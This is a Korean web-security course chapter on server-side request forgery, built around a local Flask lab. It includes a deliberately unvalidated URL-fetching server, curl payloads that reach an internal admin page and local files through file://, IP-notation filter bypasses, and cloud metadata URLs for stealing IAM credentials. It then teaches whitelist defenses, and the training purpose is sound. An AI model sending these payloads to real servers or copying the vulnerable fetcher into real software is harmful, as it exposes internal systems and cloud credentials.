Step 194. SSRF — 서버를 프록시로 부려 내부망을 읽다

Step 194. SSRF — 서버를 프록시로 부려 내부망을 읽다

Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★☆ | 예상 소요 시간 3시간

전제: Step 150(JWT와 비즈니스 로직)을 마쳤다. Flask로 작은 서버를 띄우고 curl로 요청을 보낼 수 있다.

  • 준비물: 파이썬 3 + Flask(python -m pip install flask), 터미널 두 개.
  • ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
  • 합법 연습장 안내: 오늘 띄우는 두 개의 Flask 서버는 전부 여러분 컴퓨터 안(localhost)의 로컬 랩입니다. PortSwigger Web Security Academy의 SSRF 랩도 풀라고 만들어진 합법 플랫폼입니다. 이 두 곳 외에는 오늘의 기술을 쓰지 않습니다.

웹 서비스에는 "서버가 대신 가져와 주는" 기능이 많습니다. 이미지 URL을 넣으면 서버가 내려받아 보여 주고, 재고 확인 API가 다른 서버의 주소를 받아 조회합니다. 그런데 이 "대신 가져오기"를 요청하는 쪽이 URL을 마음대로 정할 수 있다면 어떻게 될까요? 공격자는 서버에게 "방화벽 안쪽의 내부 서버 주소"를 가져오라고 시킬 수 있습니다. 이것이 SSRF(Server-Side Request Forgery, 서버 측 요청 위조) 입니다.

오늘은 두 개의 서버를 내 컴퓨터에 띄웁니다. 하나는 겉으로 드러난 취약한 "대신 가져오기" 서버, 다른 하나는 127.0.0.1에만 묶여 있어 원래는 바깥에서 못 보는 "내부 전용" 서버입니다. 그리고 SSRF로 둘을 이어, 내부 서버의 비밀을 밖에서 읽어 봅니다. 후반부에는 클라우드 환경의 대표 피해 시나리오인 메타데이터 엔드포인트(169.254.169.254) 를 개념으로 정리합니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • SSRF가 왜 "요청을 대신 보내는 기능"에서 생기는지 설명한다
  • 취약한 URL 가져오기 서버와 내부 전용 서버를 localhost에 띄워 SSRF를 재현한다
  • localhost, 127.0.0.1, file:// 등 다양한 URL 표기가 서버에서 어떻게 처리되는지 실측한다
  • 어설픈 문자열 필터가 왜 뚫리는지 실험하고, 올바른 방어(화이트리스트)를 세운다
  • 클라우드 메타데이터 엔드포인트 공격 시나리오와 IMDSv2의 등장 이유를 설명한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 파이썬 3 + Flask(로컬 랩), PortSwigger Web Security Academy(워게임)
오늘의 명령 python step194_*.py, curl "http://127.0.0.1:5498/fetch?url=...", Burp Repeater
필요한 개념 SSRF, 내부망/루프백, URL 표기 변형, 클라우드 메타데이터, Blind SSRF
오늘의 산출물 SSRF 재현 서버 2개 + 내부 비밀 탈취 화면 + 방어 체크리스트

2-1. SSRF — 서버가 대신 보내는 요청

브라우저에서 example.com의 "이미지 URL 미리보기" 기능을 쓴다고 합시다. 요청을 받는 것은 example.com의 서버이고, 실제로 이미지를 내려받으러 나가는 것도 그 서버입니다. 즉 요청의 출발지가 내 브라우저가 아니라 서버입니다.

문제는 서버의 위치입니다. 서버는 방화벽 안쪽, 즉 내부망에 사는 경우가 많습니다. 그 서버가 공격자가 준 URL http://내부서버/admin을 그대로 가져오면, 외부에서는 절대 닿을 수 없던 내부 페이지가 공격자의 손에 배달됩니다. 요청을 보낸 것은 서버니까 방화벽도, 접근 제어도 통과합니다. "서버를 프록시로 부리는 공격"이라 부르는 이유입니다.

2-2. 루프백과 내부 주소

127.0.0.1(루프백)은 "이 컴퓨터 자신"을 가리킵니다. 관리자 페이지를 외부에 공개하기 싫을 때 흔히 쓰는 방법이 "127.0.0.1에만 바인딩"하는 것입니다 — 같은 컴퓨터 안에서만 접속되도록. 그런데 SSRF가 가능하면 공격자는 "그 같은 컴퓨터"인 서버에게 접속을 시킵니다. 127.0.0.1에만 열린 서비스, 192.168.x.x의 내부 장비, 클라우드의 메타데이터 주소가 전부 사정거리에 들어옵니다.

URL 표기는 생각보다 변종이 많습니다. 127.0.0.1localhost로도, 127.1로도, 10진수 정수 2130706433으로도 쓸 수 있습니다. 문자열에 "127.0.0.1"이 있는지 검사하는 어설픈 필터는 이 변종들 앞에서 무력합니다 — 다만 어떤 표기가 실제로 먹히는지는 HTTP 클라이언트 라이브러리와 운영체제에 따라 다릅니다. 오늘 직접 실측합니다.

2-3. 클라우드 메타데이터 — 169.254.169.254

AWS 같은 클라우드의 가상머신 안에서는 특별한 주소 169.254.169.254가 살아 있습니다. 여기에 HTTP 요청을 내면 그 머신의 메타데이터 — 이름, 네트워크 정보, 그리고 치명적으로 임시 자격증명(IAM 역할의 액세스 키) — 을 돌려줍니다. 이 주소는 바깥 인터넷에서 닿지 않고, 오직 그 머신 "안에서의" 요청에만 응답합니다. SSRF가 클라우드에서 특히 무서운 이유가 여기 있습니다: 취약한 웹앱 하나가 곧 클라우드 계정의 열쇠로 이어집니다.

이 피해가 반복되자 AWS는 IMDSv2를 내놓았습니다. 메타데이터를 읽기 전에 먼저 PUT 요청으로 세션 토큰을 받아와야 하는 방식입니다. 단순한 SSRF(GET 요청 재전송)로는 토큰 발급이 어려워 공격 난도가 크게 오릅니다.

2-4. Blind SSRF — 응답이 안 보일 때

어떤 서비스는 가져온 내용을 화면에 보여 주지 않습니다. 그래도 공격은 가능합니다. 응답 시간에러 종류가 답을 대신합니다. 존재하지 않는 포트는 즉시 연결 거부 에러가 나지만, 열린 포트는 응답이 오거나 타임아웃까지 걸립니다. 이 차이로 내부망의 포트 스캔이 가능합니다. 응답이 보이면 SSRF, 안 보이고 부수 정보로만 판별하면 Blind SSRF입니다.


3. 따라 하기

3-1. 내부 전용 서버 만들기

먼저 "외부에서 못 보는" 내부 서버를 만듭니다. step194_internal.py를 작성하세요.

from flask import Flask

app = Flask(__name__)

@app.route("/admin")
def admin():
    return "INTERNAL-ONLY: admin dashboard / db password = s3cr3t!\n"

@app.route("/")
def index():
    return "internal server root\n"

if __name__ == "__main__":
    # 127.0.0.1에만 바인딩 — 외부 네트워크에서 직접 못 오는 '내부 서버' 시뮬레이션
    app.run(host="127.0.0.1", port=5499)

host="127.0.0.1"이 핵심입니다. 이 서버는 같은 컴퓨터 안에서만 접속됩니다. 실제 운영 환경의 "내부망 전용 관리 페이지"를 흉내 낸 것입니다.

3-2. 취약한 ‘대신 가져오기’ 서버

이번엔 겉에 노출된 서버입니다. step194_fetcher.py를 작성하세요. URL을 받아 서버가 대신 가져와 보여 주는 기능인데, URL 검증이 없습니다.

import urllib.request
from flask import Flask, request

app = Flask(__name__)

@app.route("/fetch")
def fetch():
    url = request.args.get("url", "")
    # 취약: URL을 검증하지 않고 서버가 대신 가져온다
    try:
        with urllib.request.urlopen(url, timeout=3) as r:
            body = r.read().decode(errors="replace")
        return f"[서버가 가져온 내용]\n{body}"
    except Exception as e:
        return f"[오류] {type(e).__name__}: {e}\n", 502

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5498)

host="0.0.0.0"은 모든 네트워크 카드에서 접속을 받겠다는 뜻 — 외부 공개 서버의 역할입니다. 두 서버를 각각의 터미널에서 켭니다.

python step194_internal.py   # 터미널 1
python step194_fetcher.py    # 터미널 2

3-3. SSRF로 내부 비밀 읽기

세 번째 터미널에서 공격 요청을 보냅니다.

curl "http://127.0.0.1:5498/fetch?url=http://127.0.0.1:5499/admin"

출력 (2026-09-09 실측):

[서버가 가져온 내용]
INTERNAL-ONLY: admin dashboard / db password = s3cr3t!

읽는 법: 내부 서버(5499)의 /admin은 원래 같은 컴퓨터 안에서만 보입니다. 그런데 공개 서버(5498)에게 가져오라고 시켰더니 비밀이 밖으로 배달됐습니다. 이것이 SSRF의 전부입니다 — 공격자가 직접 간 것이 아니라, 서버가 대신 갔습니다.

localhost 표기도 그대로 통합니다.

curl "http://127.0.0.1:5498/fetch?url=http://localhost:5499/"

출력 (2026-09-09 실측):

[서버가 가져온 내용]
internal server root

3-4. file:// 스킴 — URL이 꼭 http일 필요가 없다

urllibhttp://뿐 아니라 file://도 처리합니다. 서버의 로컬 파일을 읽을 수 있다는 뜻입니다.

curl "http://127.0.0.1:5498/fetch?url=file:///C:/Windows/win.ini"

출력 (2026-09-09 실측):

[서버가 가져온 내용]
; for 16-bit app support
[fonts]
[extensions]

읽는 법: 웹 서버가 윈도우의 설정 파일 내용을 돌려줬습니다. 리눅스 서버라면 file:///etc/passwd가 같은 자리에 들어갑니다. SSRF는 "내부망 접근"에 그치지 않고 서버 로컬 파일 읽기로 번집니다. 방어할 때 URL의 스킴(http/https만 허용) 을 제한해야 하는 이유입니다.

3-5. IP 표기 변형 — 실측으로 확인하는 우회의 한계

교재에는 "127.0.0.1을 10진수 2130706433으로 바꾸면 필터를 우회한다"고 자주 나옵니다. 실제로 되는지 두 도구로 비교해 봤습니다.

curl "http://2130706433:5499/admin"   # curl로 직접
curl "http://127.1:5499/admin"        # 축약 표기

출력 (2026-09-09 실측, 둘 다 성공):

INTERNAL-ONLY: admin dashboard / db password = s3cr3t!

같은 표기를 파이썬 urllib 경유로 내면 결과가 다릅니다.

curl "http://127.0.0.1:5498/fetch?url=http://2130706433:5499/admin"

출력 (2026-09-09 실측):

[오류] URLError: <urlopen error [Errno 11001] getaddrinfo failed>

읽는 법: curl은 10진수·축약 표기를 127.0.0.1로 해석하지만, 윈도우의 파이썬 urllib은 해석하지 못하고 이름 해석에 실패합니다. 0.0.0.0도 윈도우에서는 WinError 10049로 실패했습니다 (리눅스에서는 흔히 localhost로 처리됩니다). 교훈: 표기 우회는 공격자 도구와 서버의 HTTP 클라이언트에 따라 먹히는 것이 다릅니다. 그래서 공격자는 변형 목록을 전부 시도하고, 수비자는 "문자열 검사"가 아니라 "해석된 최종 IP"를 기준으로 막아야 합니다.

3-6. 어설픈 필터와 올바른 방어

fetcher에 문자열 필터를 달아 봅시다 (실습 파일의 /fetch_filtered 엔드포인트).

@app.route("/fetch_filtered")
def fetch_filtered():
    url = request.args.get("url", "")
    # 어설픈 방어: 문자열에 '127.0.0.1'이나 'localhost'가 보이면 차단
    if "127.0.0.1" in url or "localhost" in url:
        return "[차단] 내부 주소는 가져올 수 없습니다\n", 403
    ...

출력 (2026-09-09 실측):

$ curl "http://127.0.0.1:5498/fetch_filtered?url=http://127.0.0.1:5499/admin"
[차단] 내부 주소는 가져올 수 없습니다        ← 정면 도전은 403
$ curl "http://127.0.0.1:5498/fetch_filtered?url=file:///C:/Windows/win.ini"
[서버가 가져온 내용]
; for 16-bit app support                     ← file:// 는 필터가 아예 검사 안 함

읽는 법: 필터가 한두 가지 표기를 막아도 다른 길(스킴, 변형 표기, DNS 이름)이 남습니다. 올바른 방어는 정반대 방향입니다. 허용할 것만 적는 화이트리스트:

  1. 스킴은 https(필요하면 http)만 허용
  2. 호스트명을 해석한 뒤 최종 IP가 사설/루프백 대역(127.0.0.0/8, 10.0.0.0/8, 192.168.0.0/16, 169.254.0.0/16)이면 거부
  3. 리다이렉트를 따라가지 않거나, 따라갈 때마다 2번을 다시 검사
  4. 응답 내용도 기대 형식(이미지 등)인지 검증

3-7. 클라우드 메타데이터 시나리오 (출력 예시)

⚠️ 이 주소는 실제 클라우드 머신에서만 존재하며, 오늘 환경에서는 접속하지 않습니다. 아래는 AWS 문서 기반의 출력 예시입니다.

SSRF가 통하는 클라우드 웹앱에서 공격자가 넣는 URL:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

출력 예시 (실측 아님 — AWS 문서 기반 시나리오):

my-ec2-role

역할 이름이 돌아오면, 그 이름을 붙여 다시 요청하면 임시 자격증명이 나옵니다.

http://169.254.169.254/latest/meta-data/iam/security-credentials/my-ec2-role

출력 예시 (실측 아님):

{
  "AccessKeyId": "ASIA...(임시 키)",
  "SecretAccessKey": "(비밀 키)",
  "Token": "(세션 토큰)",
  "Expiration": "..."
}

이 키로 공격자는 그 EC2에 부여된 IAM 권한을 통째로 씁니다. IMDSv2에서는 먼저 PUT /latest/api/token으로 토큰을 받아와야 해서, 단순 GET 재전송형 SSRF는 이 단계에서 막힙니다.

3-8. PortSwigger SSRF 랩 연결

Web Security Academy의 SSRF 랩에서 하는 일은 오늘 실습의 이식입니다. 재고 확인 기능의 stockApi 파라미터가 URL을 받으니, 거기에 http://localhost/admin을 넣는 것이 첫 랩입니다 (우리가 3-3에서 한 일). 두 번째 랩은 내부 IP 스캔입니다 — http://192.168.0.X:8080/admin의 X를 Burp Intruder로 1~254까지 돌려 응답이 다른 하나를 찾습니다. 응답이 안 보이는 랩은 2-4의 Blind 판별법(시간·에러 차이)을 씁니다.


4. 미션과 연습문제

미션 — 내 랩에서 SSRF 전 과정 재현과 방어

  1. 3-1~3-3의 두 서버를 띄우고, SSRF로 내부 서버의 /admin 내용이 공개 서버를 통해 나오는 화면을 캡처합니다
  2. 3-4처럼 file:// 스킴으로 로컬 파일(리눅스 랩이면 /etc/hostname 등 무해한 파일)을 읽어 봅니다
  3. fetcher를 고쳐 화이트리스트 방어를 구현합니다 — 스킴은 http/https만, 해석된 IP가 127.0.0.0/8과 169.254.0.0/16이면 거부
  4. 방어 후 같은 공격이 403으로 막히는 것을 확인하고, 정상적인 외부 URL(예: 내 컴퓨터의 다른 공개 포트)은 여전히 동작함을 확인합니다
  5. PortSwigger SSRF 기초 랩 1개를 해결하고 write-up을 씁니다

연습문제

문제 1. SSRF에서 공격자의 요청이 방화벽을 통과하는 이유를 "요청의 출발지" 관점에서 설명해 보세요.

문제 2. 3-5 실측에서 10진수 IP 표기는 curl에선 통하고 파이썬 urllib에선 실패했습니다. 이 결과가 수비자에게 주는 교훈은 무엇인가요?

문제 3. 클라우드 메타데이터 주소 169.254.169.254가 위험한 이유와, IMDSv2가 이를 완화하는 원리를 설명해 보세요.

문제 4. Blind SSRF에서 내부 포트가 열려 있는지 어떻게 판별하나요? 두 가지 부수 정보를 들어 보세요.


5. 모범 답안과 완료 기준

미션 모범 답안

1~2번은 3절 실측 그대로입니다. 3번 화이트리스트 방어의 골격:

import ipaddress
import socket
from urllib.parse import urlparse

BLOCKED = [ipaddress.ip_network("127.0.0.0/8"),
           ipaddress.ip_network("169.254.0.0/16"),
           ipaddress.ip_network("10.0.0.0/8"),
           ipaddress.ip_network("192.168.0.0/16")]

def is_safe(url):
    p = urlparse(url)
    if p.scheme not in ("http", "https"):
        return False
    ip = ipaddress.ip_address(socket.gethostbyname(p.hostname))
    return not any(ip in net for net in BLOCKED)

핵심은 문자열이 아니라 gethostbyname으로 해석된 최종 IP를 검사하는 것입니다. 방어 후 url=http://127.0.0.1:5499/adminurl=file:///... 모두 403이어야 하고, 공개 포트를 가리키는 URL은 200이어야 합니다 (여러분의 로컬 랩에서 직접 확인). 5번 write-up에는 "원래 파라미터 / 바꾼 URL / 서버 응답 / 서버가 놓친 검사"를 적습니다.

연습문제 해답

문제 1 해답. SSRF에서는 실제 HTTP 요청의 출발지가 공격자가 아니라 취약한 서버 자신입니다. 방화벽과 내부 접근 제어는 "신뢰하는 내부 서버"가 보낸 요청으로 인식해 통과시킵니다. 공격자는 URL만 조종하고 발신은 서버가 대신하는 것이 핵심입니다.

문제 2 해답. 같은 주소라도 표기를 해석하는 방식이 도구·라이브러리·OS마다 다르므로, "문자열에 위험한 패턴이 있는가"로 막는 블랙리스트 방어는 반드시 빈틈이 생깁니다. 수비자는 호스트명을 실제로 해석한 뒤의 최종 IP를 기준으로 판단하고, 허용 목록(화이트리스트) 방식으로 설계해야 합니다.

문제 3 해답. 169.254.169.254는 클라우드 머신 내부에서만 응답하며 IAM 임시 자격증명까지 돌려주므로, SSRF 한 방이 클라우드 계정 권한 탈취로 이어집니다. IMDSv2는 메타데이터 조회 전에 PUT 요청으로 세션 토큰을 발급받도록 강제해서, GET 요청만 재전송하는 일반적인 SSRF로는 토큰을 얻기 어렵게 만듭니다.

문제 4 해답. 응답 시간과 에러 종류입니다. 닫힌 포트는 연결 거부로 빠르게 실패하고, 열린 포트는 응답이 오거나 서비스가 HTTP가 아닐 때 타임아웃까지 걸립니다. 이 시간 차와 에러 메시지의 차이로 열림/닫힘을 구별합니다.

완료 기준 체크리스트

  • [ ] SSRF를 "서버가 대신 보내는 요청"이라는 한 문장으로 설명할 수 있다
  • [ ] 로컬 랩에서 내부 전용 서버의 비밀을 공개 서버 경유로 읽었다
  • [ ] file:// 스킴으로 서버 로컬 파일이 읽히는 것을 확인했다
  • [ ] IP 표기 우회가 클라이언트·OS에 따라 다르게 먹힘을 실측으로 확인했다
  • [ ] 문자열 필터의 한계를 재현하고 화이트리스트 방어를 구현했다
  • [ ] 169.254.169.254 시나리오와 IMDSv2의 이유를 설명할 수 있다
  • [ ] 미션: 방어 구현 + PortSwigger SSRF 랩 1개 해결

6. 흔한 실수와 해결

벽 1. curl: (7) Failed to connect to 127.0.0.1 port 5498

원인: fetcher 서버가 켜져 있지 않습니다. Flask 서버는 요청마다 뜨는 것이 아니라 터미널에 상주합니다.
해결: 터미널 두 개를 열어 python step194_internal.py, python step194_fetcher.py를 각각 띄운 상태를 유지하세요. 포트가 이미 쓰이면 포트 번호를 바꾸고 curl 주소도 같이 바꿉니다.

벽 2. URL 파라미터의 & 때문에 요청이 잘린다

증상: ?url=http://a/b?x=1&y=2처럼 가져올 URL에 &가 있으면 뒤가 잘립니다.

원인: 쉘과 URL 양쪽에서 &가 특수 문자입니다.
해결: 전체를 큰따옴표로 감싸고("http://127.0.0.1:5498/fetch?url=..."), 가져올 URL 안의 &%26으로 인코딩하세요.

벽 3. 10진수 IP가 "안 먹힌다"

증상 (2026-09-09 실측):

[오류] URLError: <urlopen error [Errno 11001] getaddrinfo failed>

원인: 실패가 정상인 환경입니다. 윈도우의 파이썬 urllib는 2130706433 같은 10진수 표기를 IP로 해석하지 못합니다.
해결: 고장이 아니라 실측 발견입니다. 3-5처럼 도구별 차이를 기록하세요. curl로는 같은 표기가 통하는 것도 함께 확인해 보세요.

벽 4. 방어를 달았는데 정상 URL도 403이 된다

원인: 화이트리스트 조건이 너무 넓거나, gethostbyname이 사설 IP로 해석되는 이름까지 차단했을 수 있습니다. 로컬 랩에서는 테스트 대상 공개 서버도 127.0.0.1이라 전부 막히는 것처럼 보입니다.
해결: 로컬 검증용으로 잠시 허용할 포트/호스트를 명시하세요. 방어 로직의 단위 테스트(is_safe()에 URL을 넣어 True/False 확인)부터 먼저 하면 빠릅니다.

벽 5. PortSwigger 랩에서 URL을 바꿔도 변화가 없다

원인: 재고 확인 요청이 POST 본문의 stockApi 파라미터인데, 주소창만 바꾸는 실수가 흔합니다. 또 URL 인코딩이 어긋나면 파라미터 자체가 깨집니다.
해결: Burp Repeater에서 요청 본문의 stockApi= 값을 통째로 바꾸세요. 원래 요청을 먼저 그대로 Send해 200이 오는지 확인한 뒤 변조하는 순서가 좋습니다.


7. 정리

오늘의 개념

개념 한 줄 설명
SSRF 서버가 대신 보내는 요청을 조종해 내부를 두드리는 공격
루프백 바인딩 127.0.0.1에만 열어 내부 전용으로 만드는 설정 — SSRF 앞에선 무력
표기 변형 localhost·127.1·2130706433 등 같은 주소의 다른 얼굴
file:// 스킴 URL 가져오기 기능이 서버 로컬 파일 읽기로 번지는 통로
메타데이터 엔드포인트 169.254.169.254 — 클라우드 머신의 임시 자격증명 창구
IMDSv2 토큰 발급(PUT)을 강제해 단순 SSRF를 막는 AWS의 개선
Blind SSRF 응답이 안 보일 때 시간·에러 차이로 판별하는 SSRF
화이트리스트 방어 스킴 제한 + 해석된 최종 IP 검사 + 리다이렉트 재검사

오늘의 명령어·코드

명령·코드 하는 일
app.run(host="127.0.0.1", port=5499) 내부 전용 서버 시뮬레이션
app.run(host="0.0.0.0", port=5498) 외부 공개 서버 시뮬레이션
urllib.request.urlopen(url) 서버가 대신 가져오는 요청 (취약 지점)
curl ".../fetch?url=http://127.0.0.1:5499/admin" SSRF 공격 요청
socket.gethostbyname(host) 호스트명의 최종 IP 해석 (방어의 기준)
ipaddress.ip_address(ip) in network 사설/루프백 대역 판별

명령어보다 중요한 감각

URL을 입력받아 서버가 어디론가 나가는 기능을 보면, "이 서버가 갈 수 있는데 나는 못 가는 곳이 어디인가"를 먼저 묻습니다. 그 답이 곧 공격 목표입니다 — 내부 관리 페이지, 내부 DB 관리 도구, 클라우드 메타데이터. 그리고 방어자의 감각 하나: 문자열이 아니라 해석된 결과를 믿는 것. 127.1이든 2130706433이든 localhost든, 최종 IP가 루프백이면 같은 위협입니다. 차단 목록을 길게 늘어놓는 대신 허용 목록을 짧게 적는 쪽이 항상 이깁니다.


전부 체크되면 Step 194 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.